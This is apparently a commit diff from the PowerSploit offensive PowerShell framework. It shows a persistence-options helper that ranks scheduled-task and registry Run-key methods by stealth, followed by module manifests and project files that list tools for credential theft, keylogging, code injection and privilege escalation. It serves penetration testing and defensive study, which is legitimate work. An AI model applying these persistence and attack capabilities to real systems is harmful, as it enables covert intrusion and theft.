New-UserPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry.
.PARAMETER ScheduledTask
Persist via a scheduled task.
Detection Difficulty: Moderate
Removal Difficulty: Moderate
User Detectable? No
.PARAMETER Registry
Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
Detection Difficulty: Easy
Removal Difficulty: Easy
User Detectable? Yes
.PARAMETER AtLogon
Starts the payload upon any user logon.
.PARAMETER OnIdle
Starts the payload after one minute of idling.
.PARAMETER Daily
Starts the payload daily.
.PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
.EXAMPLE
C:\PS> $UserOptions = New-UserPersistenceOptions -Registry -AtLogon
.EXAMPLE
C:\PS> $UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$ScheduledTask,
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
[Switch]
$Registry,
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Switch]
$Daily,
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime]
$At,
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$OnIdle,
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
[Switch]
$AtLogon
)
$PersistenceOptionsTable = @{
Method = ''
Trigger = ''
Time = ''
}
switch ($PSCmdlet.ParameterSetName)
{
'ScheduledTaskAtLogon'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
}
'ScheduledTaskOnIdle'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'OnIdle'
}
'ScheduledTaskDaily'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'Daily'
$PersistenceOptionsTable['Time'] = $At
}
'Registry'
{
$PersistenceOptionsTable['Method'] = 'Registry'
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
}
}
$PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
$PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOptions'
Write-Output $PersistenceOptions
}
+4 -11
View File
@@ -1,10 +1,10 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Persistence.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '633d0f10-a056-41da-869d-6d2f75430195'
@@ -24,14 +24,7 @@ PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'})
# List of all files packaged with this module
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Add-Persistence.ps1', 'New-ElevatedPersistenceOptions.ps1',
'New-UserPersistenceOptions.ps1', 'Usage.md'
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md'
}
}
File diff suppressed because it is too large Load Diff
+139 -69
View File
@@ -1,10 +1,9 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'PowerSploit.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '6753b496-d842-40a3-924a-0f09e248640c'
@@ -12,85 +11,156 @@ GUID = '6753b496-d842-40a3-924a-0f09e248640c'
# Author of this module
Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Root Module'
Description = 'PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers and red team operator during all phases of an engagement.'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
FunctionsToExport = @(
'Add-NetUser',
'Add-ObjectAcl',
'Add-Persistence',
'Convert-NameToSid',
'Convert-NT4toCanonical',
'Convert-SidToName',
'Copy-ClonedFile',
'Find-AVSignature',
'Find-ComputerField',
'Find-DLLHijack',
'Find-ForeignGroup',
'Find-ForeignUser',
'Find-GPOComputerAdmin',
'Find-GPOLocation',
'Find-InterestingFile',
'Find-LocalAdminAccess',
'Find-PathHijack',
'Find-UserField',
'Get-ADObject',
'Get-ApplicationHost',
'Get-CachedRDPConnection',
'Get-ComputerDetails',
'Get-ComputerProperty',
'Get-DFSshare',
'Get-DomainPolicy',
'Get-ExploitableSystem',
'Get-GPPPassword',
'Get-HttpStatus',
'Get-Keystrokes',
'Get-LastLoggedOn',
'Get-NetComputer',
'Get-NetDomain',
'Get-NetDomainController',
'Get-NetDomainTrust',
'Get-NetFileServer',
'Get-NetForest',
'Get-NetForestCatalog',
'Get-NetForestDomain',
'Get-NetForestTrust',
'Get-NetGPO',
'Get-NetGPOGroup',
'Get-NetGroup',
'Get-NetGroupMember',
'Get-NetLocalGroup',
'Get-NetLoggedon',
'Get-NetOU',
'Get-NetProcess',
'Get-NetRDPSession',
'Get-NetSession',
'Get-NetShare',
'Get-NetSite',
'Get-NetSubnet',
'Get-NetUser',
'Get-ObjectAcl',
'Get-PathAcl',
'Get-Proxy',
'Get-RegAlwaysInstallElevated',
'Get-RegAutoLogon',
'Get-SecurityPackages',
'Get-ServiceDetail',
'Get-ServiceFilePermission',
'Get-ServicePermission',
'Get-ServiceUnquoted',
'Get-TimedScreenshot',
'Get-UnattendedInstallFile',
'Get-UserEvent',
'Get-UserProperty',
'Get-VaultCredential',
'Get-VolumeShadowCopy',
'Get-VulnAutoRun',
'Get-VulnSchTask',
'Get-Webconfig',
'Install-ServiceBinary',
'Install-SSP',
'Invoke-ACLScanner',
'Invoke-AllChecks',
'Invoke-CheckLocalAdminAccess',
'Invoke-CredentialInjection',
'Invoke-DllInjection',
'Invoke-EnumerateLocalAdmin',
'Invoke-EventHunter',
'Invoke-FileFinder',
'Invoke-MapDomainTrust',
'Invoke-Mimikatz',
'Invoke-NinjaCopy',
'Invoke-Portscan',
'Invoke-ProcessHunter',
'Invoke-ReflectivePEInjection',
'Invoke-ReverseDnsLookup',
'Invoke-ServiceAbuse',
'Invoke-ShareFinder',
'Invoke-Shellcode',
'Invoke-TokenManipulation',
'Invoke-UserHunter',
'Invoke-WmiCommand',
'Mount-VolumeShadowCopy',
'New-ElevatedPersistenceOption',
'New-UserPersistenceOption',
'New-VolumeShadowCopy',
'Out-CompressedDll',
'Out-EncodedCommand',
'Out-EncryptedScript',
'Out-Minidump',
'Remove-Comments',
'Remove-VolumeShadowCopy',
'Restore-ServiceBinary',
'Set-ADObject',
'Set-CriticalProcess',
'Set-MacAttribute',
'Set-MasterBootRecord',
'Write-HijackDll',
'Write-ServiceBinary',
'Write-UserAddMSI'
)
# List of all modules packaged with this module.
ModuleList = @( @{ModuleName = 'PowerSploit'; ModuleVersion = '1.0.0.0'; GUID = '6753b496-d842-40a3-924a-0f09e248640c'},
@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'},
@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'},
@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'},
@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'},
@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'},
@{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'},
@{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'},
@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}
)
ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '3.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'},
@{ModuleName = 'CodeExecution'; ModuleVersion = '3.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'},
@{ModuleName = 'Exfiltration'; ModuleVersion = '3.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'},
@{ModuleName = 'Recon'; ModuleVersion = '3.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'},
@{ModuleName = 'ScriptModification'; ModuleVersion = '3.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'},
@{ModuleName = 'Persistence'; ModuleVersion = '3.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'},
@{ModuleName = 'PrivEsc'; ModuleVersion = '3.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} )
# List of all files packaged with this module
FileList = 'PowerSploit.psd1', 'PowerSploit.psm1'
PrivateData = @{
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
PSData = @{
# HelpInfo URI of this module
# HelpInfoURI = ''
# Tags applied to this module. These help with module discovery in online galleries.
Tags = @('security','pentesting','red team','offense')
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
# A URL to the license for this module.
LicenseUri = 'http://www.apache.org/licenses/LICENSE-2.0.html'
}
# A URL to the main website for this project.
ProjectUri = 'https://github.com/PowerShellMafia/PowerSploit'
}
}
}
+1 -1
View File
@@ -1 +1 @@
Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName }
Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and ($_.Name -ne 'Tests') } | % { Import-Module $_.FullName -DisableNameChecking }
+210
View File
@@ -0,0 +1,210 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Release</Configuration>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>6CAFC0C6-A428-4d30-A9F9-700E829FEA51</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>PowerSploit</RootNamespace>
<AssemblyName>PowerSploit</AssemblyName>
<Name>PowerSploit</Name>
<ProjectHome />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Compile Include="AntivirusBypass\AntivirusBypass.psd1" />
<Compile Include="AntivirusBypass\AntivirusBypass.psm1" />
<Compile Include="AntivirusBypass\Find-AVSignature.ps1" />
<Compile Include="AntivirusBypass\Usage.md" />
<Compile Include="CodeExecution\CodeExecution.psd1" />
<Compile Include="CodeExecution\CodeExecution.psm1" />
<Compile Include="CodeExecution\Invoke-DllInjection.ps1" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection.ps1" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\dllmain.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\dllmain.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\readme.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\CallDllMain.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\ExitThread.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\GetFuncAddress.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\LoadLibraryA.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\CallDllMain.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\ExitThread.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\GetProcAddress.asm" />
<Compile Include="CodeExecution\Invoke-Shellcode.ps1" />
<Compile Include="CodeExecution\Invoke-WmiCommand.ps1" />
<Compile Include="CodeExecution\Usage.md" />
<Compile Include="Exfiltration\Exfiltration.psd1" />
<Compile Include="Exfiltration\Exfiltration.psm1" />
<Compile Include="Exfiltration\Get-GPPPassword.ps1" />
<Compile Include="Exfiltration\Get-Keystrokes.ps1" />
<Compile Include="Exfiltration\Get-TimedScreenshot.ps1" />
<Compile Include="Exfiltration\Get-VaultCredential.ps1" />
<Compile Include="Exfiltration\Get-VaultCredential.ps1xml" />
<Compile Include="Exfiltration\Invoke-CredentialInjection.ps1" />
<Compile Include="Exfiltration\Invoke-Mimikatz.ps1" />
<Compile Include="Exfiltration\Invoke-NinjaCopy.ps1" />
<Compile Include="Exfiltration\Invoke-TokenManipulation.ps1" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser.sln" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.vcxproj" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.vcxproj.filters" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\ReadMe.txt" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\stdafx.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\stdafx.h" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\targetver.h" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\dllmain.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.vcxproj" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.vcxproj.filters" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\ReadMe.txt" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\stdafx.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\stdafx.h" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\targetver.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser.sln" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\dllmain.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.vcxproj" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.vcxproj.filters" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_Attribute.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_Common.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_DataType.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_FileRecord.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\ReadMe.txt" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\stdafx.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\stdafx.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\targetver.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.vcxproj" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.vcxproj.filters" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_Attribute.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_Common.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_DataType.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_FileRecord.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\ReadMe.txt" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\stdafx.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\stdafx.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\targetver.h" />
<Compile Include="Exfiltration\Out-Minidump.ps1" />
<Compile Include="Exfiltration\Usage.md" />
<Compile Include="Exfiltration\VolumeShadowCopyTools.ps1" />
<Compile Include="LICENSE" />
<Compile Include="Mayhem\Mayhem.psd1" />
<Compile Include="Mayhem\Mayhem.psm1" />
<Compile Include="Mayhem\Usage.md" />
<Compile Include="Persistence\Persistence.psd1" />
<Compile Include="Persistence\Persistence.psm1" />
<Compile Include="Persistence\Usage.md" />
<Compile Include="PowerSploit.psd1" />
<Compile Include="PowerSploit.psm1" />
<Compile Include="Privesc\PowerUp.ps1" />
<Compile Include="Privesc\Privesc.psd1" />
<Compile Include="Privesc\Privesc.psm1" />
<Compile Include="Privesc\README.md" />
<Compile Include="README.md" />
<Compile Include="Recon\Dictionaries\admin.txt" />
<Compile Include="Recon\Dictionaries\generic.txt" />
<Compile Include="Recon\Dictionaries\sharepoint.txt" />
<Compile Include="Recon\Get-ComputerDetails.ps1" />
<Compile Include="Recon\Get-HttpStatus.ps1" />
<Compile Include="Recon\Invoke-Portscan.ps1" />
<Compile Include="Recon\Invoke-ReverseDnsLookup.ps1" />
<Compile Include="Recon\PowerView.ps1" />
<Compile Include="Recon\README.md" />
<Compile Include="Recon\Recon.psd1" />
<Compile Include="Recon\Recon.psm1" />
<Compile Include="ScriptModification\Out-CompressedDll.ps1" />
<Compile Include="ScriptModification\Out-EncodedCommand.ps1" />
<Compile Include="ScriptModification\Out-EncryptedScript.ps1" />
<Compile Include="ScriptModification\Remove-Comments.ps1" />
<Compile Include="ScriptModification\ScriptModification.psd1" />
<Compile Include="ScriptModification\ScriptModification.psm1" />
<Compile Include="ScriptModification\Usage.md" />
<Compile Include="Tests\CodeExecution.tests.ps1" />
<Compile Include="Tests\PowerSploit.tests.ps1" />
<Compile Include="Tests\Privesc.tests.ps1" />
<Compile Include="Tests\Recon.tests.ps1" />
</ItemGroup>
<ItemGroup>
<Folder Include="AntivirusBypass\" />
<Folder Include="CodeExecution\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\" />
<Folder Include="Exfiltration\" />
<Folder Include="Exfiltration\LogonUser\" />
<Folder Include="Exfiltration\LogonUser\LogonUser\" />
<Folder Include="Exfiltration\LogonUser\LogonUser\LogonUser\" />
<Folder Include="Exfiltration\LogonUser\LogonUser\logon\" />
<Folder Include="Exfiltration\NTFSParser\" />
<Folder Include="Exfiltration\NTFSParser\NTFSParserDLL\" />
<Folder Include="Exfiltration\NTFSParser\NTFSParser\" />
<Folder Include="Mayhem\" />
<Folder Include="Persistence\" />
<Folder Include="Privesc\" />
<Folder Include="Recon\" />
<Folder Include="Recon\Dictionaries\" />
<Folder Include="ScriptModification\" />
<Folder Include="Tests\" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
<Target Name="Build" />
</Project>
+22
View File
@@ -0,0 +1,22 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.23107.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{F5034706-568F-408A-B7B3-4D38C6DB8A32}") = "PowerSploit", "PowerSploit.pssproj", "{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.ActiveCfg = Release|Any CPU
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.Build.0 = Release|Any CPU
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
+2295
View File
File diff suppressed because one or more lines are too long
+52
View File
@@ -0,0 +1,52 @@
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Privesc.psm1'
# Version number of this module.
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'
# Author of this module
Author = 'Will Schroder'
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Privesc Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = @(
'Get-ServiceUnquoted',
'Get-ServiceFilePermission',
'Get-ServicePermission',
'Get-ServiceDetail',
'Invoke-ServiceAbuse',
'Write-ServiceBinary',
'Install-ServiceBinary',
'Restore-ServiceBinary',
'Find-DLLHijack',
'Find-PathHijack',
'Write-HijackDll',
